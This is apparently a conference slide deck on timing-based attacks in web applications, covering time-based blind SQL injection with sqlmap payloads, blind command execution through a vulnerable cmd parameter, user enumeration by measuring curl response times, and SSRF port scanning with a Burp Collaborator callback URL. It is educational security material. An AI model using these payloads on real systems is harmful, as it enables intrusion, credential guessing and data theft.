TIMING-BASED ATTACKS IN WEB APPLICATIONS
ABOUT ME

Ahmad Ashraff @Yappare
Before : Chemical Engineer
Current : Pentester
@ Aura Information Security
Hobbies : Backpacking, Watching Animes
Member Of OWASP MY Chapter, 2\textsuperscript{nd} in Bugcrowd
ABOUT THE PRESENTATION

• Not about how to be no.2 in Bugcrowd
• Most of the content were already know – just a refresh
• No trees or animals were harmed
• No zero-day
Timing attack is a side channel attack which allows an attacker to retrieve potentially sensitive information from the web applications by observing the normal behavior of the response times.

tl;dr – vulnerabilities based on response times given by application.
IS IT NEW?

NO.
IS IT NEW?

The OWASP Foundation OWASP Side Channel Vulnerabilities on the...

by S Schinzel - 2007 - Related articles

SO, WHY WANT TO PRESENT IT?

- Hard to detect with automated web scanners a.k.a “pentester’s good friend”
- Modern websites and frameworks generally have built-in prevention for web attacks from user’s input. – Blacklist method
- No one has the ‘time’
- ‘young’ pentesters have no patience
SO, WHY WANT TO PRESENT IT?

• Importantly..
- Time based SQL Injection
  - Unsanitised input -> Injecting the time delay query to retrieve data
  - Blind
  - False positive from scanner

<table>
<thead>
<tr>
<th>MySQL</th>
<th>MSSQL</th>
<th>Oracle</th>
<th>PostgreSQL</th>
</tr>
</thead>
<tbody>
<tr>
<td>SLEEP()</td>
<td>WAITFOR DELAY</td>
<td>BEGIN DBMS_LOCK.SLEEP()</td>
<td>pg_sleep()</td>
</tr>
<tr>
<td>BENCHMARK()</td>
<td>WAITFOR TIME</td>
<td>UTL_HTTP.REQUEST()</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>UTL_INADDR.get_host_address()</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>UTL_INADDR.get_host_name()</td>
<td></td>
</tr>
</tbody>
</table>
select 1 and \texttt{sleep(1)};

select 1 and \texttt{sleep(2)};
select `BENCHMARK(1000000, MD5('A'))`;

BENCHMARK(1000000, MD5('A'))

Record Count: 1; Execution Time: 220ms

select `BENCHMARK(2000000, MD5('A'))`;

BENCHMARK(2000000, MD5('A'))

Record Count: 1; Execution Time: 437ms
sqlmap

Automatic SQL injection and database takeover tool

http://sqlmap.org/
GET parameter 'id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable

GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:

---

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2965=2965

Type: error-based
Title: MySQL >= 5.0.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1 AND (SELECT 9288 FROM(SELECT COUNT(*),CONCAT(0x7170707671,(SELECT (ELT(9288-9288,1)))),0x716b766271,FLON(RAND(0)+2)) FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))MpFn)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x7170707671,0x55765449676d58485a7477687367636b74664553547a694352447365584e4867766ca6742676761,0x716b766271),NULL,NULL--

---

[INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0

[INFO] fetched data logged to text files under '/home/stamparm/.sqlmap/output/172.16.120.130'
• Remote code execution – blind/time based
  • IF statement + SLEEP command
time if [ statement ]; then [ command ]; fi

```
root@aurakali:~# time if [ 1 == 1 ]; then sleep 5; fi
real    0m5.002s
time if [ 1 == 2 ]; then sleep 5; fi
real    0m0.000s
```

NEW ZEALAND DAY 2018
time if [ statement ]; then [ command ]; fi
Vulnerable web

`http://example.com/rce.php?cmd=whoami`

```bash
# python timebased.py -url "http://example.com/rce.php?cmd=%| |" -tmp

root@aurakali:/TBDEX# python timebased.py -url "http://example.com/rce.php?cmd=whoami" -tmp

[+] Writing the "length" file
[+] Writing the "ascii" file
[+] Testing the auxiliary files
[+] Writing command output to file
[+] "length" file OK, returned delay
[+] "ascii" file OK, returned delay
[+] Available commands:
   !exit - exit the program
   !rewrite - rewrite the auxiliary files
   !resume - resume the last command or try to guess unknown chars
   !check - check if the auxiliary files are working

Command examples:
uname -a
uname -a{4-10} extract the output of the command starting from 4th character up to 10th
uname -a{10,20,13} extract characters 10, 20 and 13
command=whoami
[+] Writing command output to file
[+] Counting output length = 7
[+] Found output length = 7
apache?

Took 29.965418s
```
USER ENUMERATION

- Use brute-force to either guess or confirm valid users in a system
- Login, registration, forgot password
- Easy but not common
- Low to medium risk
Basic access authentication
http://username:password@192.168.49.132/authentication/example2

curl -o /dev/null -s -w %{time_total}\\n
An example of cURL command to get response times when requesting a URL

curl -o /dev/null -s -w %{time_total}\\n "http://username:password@192.168.49.132/authentication/example2"
curl -o /dev/null -s -w %{time_total}\n "http://test:test@192.168.49.132/authentication/example2"
0.004331

curl -o /dev/null -s -w %{time_total}\n "http://a:test@192.168.49.132/authentication/example2"
0.002789

curl -o /dev/null -s -w %{time_total}\n "http://b:test@192.168.49.132/authentication/example2"
0.003951

curl -o /dev/null -s -w %{time_total}\n "http://h:test@192.168.49.132/authentication/example2"
0.204558
aasrarr@Yappare:~/Documents/owasp_nz% curl -o /dev/null -s -w %{time_total}\n "http://hacker:a@192.168.49.132/authentication/example2"
1.411720

aasrarr@Yappare:~/Documents/owasp_nz% curl -o /dev/null -s -w %{time_total}\n "http://hacker:b@192.168.49.132/authentication/example2"
1.409088

aasrarr@Yappare:~/Documents/owasp_nz% curl -o /dev/null -s -w %{time_total}\n "http://hacker:c@192.168.49.132/authentication/example2"
1.410859

aasrarr@Yappare:~/Documents/owasp_nz% curl -o /dev/null -s -w %{time_total}\n "http://hacker:p@192.168.49.132/authentication/example2"
1.610744
USER ENUMERATION - PREVENTION

• Prevent bruteforce on sensitive forms
• Fix response times – make no differences
• Hashing
- Prevent bruteforce by limiting attempts. ([https://www.drupal.org/node/1023440](https://www.drupal.org/node/1023440))

- No obvious time differ

- No bruteforce prevention
- No obvious time differ
- Can use other method for user enumeration
SS-2017-005: User enumeration via timing attack on login and password reset forms

Severity: Moderate (?)
Identifier: SS-2017-005
Versions Affected: 3.5.4 and below to 3.6.1
Versions Fixed: 3.5.5, 3.6.2
Release Date: 2017-09-28

User enumeration is possible by performing a timing attack on the login or password reset pages with user credentials.

Credit to Daniel Hensby (SilverStripe) and Erez Yalon (Checkmarx)
CROSS SITE PORT ATTACK (XSPA)
SERVER SIDE REQUEST FORGERY (SSRF)

- https://www.owasp.org/index.php/Server_Side_Request_Forgery
- Abuse application/server functionality to read/update internal resource
- Abuse application/server functionality to port scan (XSPA)
How SSRF usually looks like.

attacker

Can’t reach directly

Internal PC
192.168.0.25

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-10 14:52 NZDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.49 seconds
aashraff@Yappare:~/Documents/owasp.nz% nmap -sV 192.168.0.25

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-10 14:52 NZDT
Nmap scan report for 192.168.0.25
Host is up.
All 1000 scanned ports on 192.168.0.25 are filtered

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 202.37 seconds
aashraff@Yappare:~/Documents/owasp.nz%
From the vulnerable SSRF, the application gives long response on http://192.168.0.25

<table>
<thead>
<tr>
<th>Request</th>
<th>Payload</th>
<th>Status</th>
<th>Response...</th>
<th>Error</th>
<th>Timeout</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>4</td>
<td>23</td>
<td>200</td>
<td>39047</td>
<td></td>
<td></td>
<td>14187</td>
</tr>
<tr>
<td>1</td>
<td>20</td>
<td>200</td>
<td>39366</td>
<td></td>
<td></td>
<td>14189</td>
</tr>
<tr>
<td>3</td>
<td>22</td>
<td>200</td>
<td>42171</td>
<td></td>
<td></td>
<td>14187</td>
</tr>
<tr>
<td>2</td>
<td>21</td>
<td>200</td>
<td>42364</td>
<td></td>
<td></td>
<td>14327</td>
</tr>
<tr>
<td>0</td>
<td>20</td>
<td>200</td>
<td>42563</td>
<td></td>
<td></td>
<td>14187</td>
</tr>
<tr>
<td>6</td>
<td>25</td>
<td>200</td>
<td>66096</td>
<td></td>
<td></td>
<td>14191</td>
</tr>
<tr>
<td>5</td>
<td>24</td>
<td>200</td>
<td>66126</td>
<td></td>
<td></td>
<td>14189</td>
</tr>
</tbody>
</table>

Timing based attacks in bug bounty
## SQL Injection and RCE

<table>
<thead>
<tr>
<th>PRIORITY</th>
<th>BUGCROWD CATEGORIES</th>
<th>SPECIFIC VULNERABILITY NAME</th>
<th>VARIANT OR AFFECTED FUNCTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>P1</td>
<td>Server-Side Injection</td>
<td>SQL Injection</td>
<td>Error-Based</td>
</tr>
<tr>
<td>P1</td>
<td>Server-Side Injection</td>
<td>SQL Injection</td>
<td>Blind</td>
</tr>
<tr>
<td>P1</td>
<td>Server-Side Injection</td>
<td>Remote Code Execution (RCE)</td>
<td></td>
</tr>
</tbody>
</table>
# Username Enumeration

<table>
<thead>
<tr>
<th>PRIORITY</th>
<th>BUGCROWD CATEGORIES</th>
<th>SPECIFIC VULNERABILITY NAME</th>
<th>VARIANT OR AFFECTED FUNCTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>P4</td>
<td>Broken Access Control (BAC)</td>
<td>Username Enumeration</td>
<td>Data Leak</td>
</tr>
<tr>
<td>P5</td>
<td>Server Security Misconfiguration</td>
<td>Username Enumeration</td>
<td>Brute Force</td>
</tr>
</tbody>
</table>
## SSRF/XSPA

<table>
<thead>
<tr>
<th>PRIORITY</th>
<th>BUGCROWD CATEGORIES</th>
<th>SPECIFIC VULNERABILITY NAME</th>
<th>VARIANT OR AFFECTED FUNCTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>P2</td>
<td>Broken Access Control (BAC)</td>
<td>Server-Side Request Forgery (SSRF)</td>
<td>Internal</td>
</tr>
<tr>
<td>P4</td>
<td>Broken Access Control (BAC)</td>
<td>Server-Side Request Forgery (SSRF)</td>
<td>External</td>
</tr>
</tbody>
</table>
{ "ImageUrls": [ "http://jd0s36c0nizcxbss2z7nfk7svtmzcn1.burpcollaborator.net" ]}
Filter: Showing all items

<table>
<thead>
<tr>
<th>Request</th>
<th>Payload</th>
<th>Status</th>
<th>Error</th>
<th>Timeout</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>75</td>
<td>75</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>76</td>
<td>76</td>
<td>400</td>
<td></td>
<td></td>
<td>861</td>
</tr>
<tr>
<td>80</td>
<td>80</td>
<td>400</td>
<td></td>
<td></td>
<td>860</td>
</tr>
<tr>
<td>77</td>
<td>77</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>78</td>
<td>78</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>79</td>
<td>79</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>81</td>
<td>81</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>82</td>
<td>82</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>83</td>
<td>83</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>84</td>
<td>84</td>
<td>400</td>
<td></td>
<td></td>
<td>861</td>
</tr>
<tr>
<td>86</td>
<td>86</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>85</td>
<td>85</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>87</td>
<td>87</td>
<td>400</td>
<td></td>
<td></td>
<td>861</td>
</tr>
<tr>
<td>88</td>
<td>88</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>89</td>
<td>89</td>
<td>400</td>
<td></td>
<td></td>
<td>862</td>
</tr>
<tr>
<td>91</td>
<td>91</td>
<td>400</td>
<td></td>
<td></td>
<td>861</td>
</tr>
</tbody>
</table>

{ "ImageUrl": [ "http://localhost:<port>" ] }

Cache-Control: no-transform

{ "ImageUrl": [ "http://localhost:14" ] }
<table>
<thead>
<tr>
<th>Request</th>
<th>Payload</th>
<th>Status</th>
<th>Response...</th>
<th>Error</th>
<th>Timeout</th>
<th>Length</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>135</td>
<td>135</td>
<td>504</td>
<td>30037</td>
<td></td>
<td></td>
<td>998</td>
<td>response took long</td>
</tr>
<tr>
<td>80</td>
<td>80</td>
<td>400</td>
<td>373</td>
<td></td>
<td></td>
<td>860</td>
<td>response too short</td>
</tr>
<tr>
<td>445</td>
<td>445</td>
<td>400</td>
<td>368</td>
<td></td>
<td></td>
<td>860</td>
<td>response too short</td>
</tr>
<tr>
<td>3</td>
<td>3</td>
<td>400</td>
<td>3260</td>
<td></td>
<td></td>
<td>862</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>4</td>
<td>400</td>
<td>3237</td>
<td></td>
<td></td>
<td>861</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>2</td>
<td>400</td>
<td>3229</td>
<td></td>
<td></td>
<td>862</td>
<td></td>
</tr>
<tr>
<td>122</td>
<td>122</td>
<td>400</td>
<td>3170</td>
<td></td>
<td></td>
<td>862</td>
<td></td>
</tr>
<tr>
<td>121</td>
<td>121</td>
<td>400</td>
<td>3017</td>
<td></td>
<td></td>
<td>862</td>
<td></td>
</tr>
<tr>
<td>308</td>
<td>308</td>
<td>400</td>
<td>2995</td>
<td></td>
<td></td>
<td>862</td>
<td></td>
</tr>
<tr>
<td>87</td>
<td>87</td>
<td>400</td>
<td>2989</td>
<td></td>
<td></td>
<td>861</td>
<td></td>
</tr>
<tr>
<td>78</td>
<td>78</td>
<td>400</td>
<td>2964</td>
<td></td>
<td></td>
<td>862</td>
<td></td>
</tr>
<tr>
<td>90</td>
<td>90</td>
<td>400</td>
<td>2962</td>
<td></td>
<td></td>
<td>862</td>
<td></td>
</tr>
</tbody>
</table>

{ "ImageUrls": [
"http://localhost:<port>"
]}

NEW ZEALAND DAY 2018
Internal and External SSRF at https://

Internal+External SSRF and Local File Bruteforce at https://

Internal and external SSRF at http

Internal SSRF at https://

Internal and External SSRF and Local File Bruteforce at
• Do not miss to test timing based attacks in your testing
• Careful in performing the attack as it could impact server’s performance - DOS
• Delayed response does not confirm there’s a vulnerability, further test and observation is required
REFERENCES

• https://owasp.org
• https://codeseekah.com/2012/04/29/timing-attacks-in-web-applications/
• https://ibreak.software/2013/04/xspa-ssrf-vulnerability-with-the-adobe-omniture-web-application/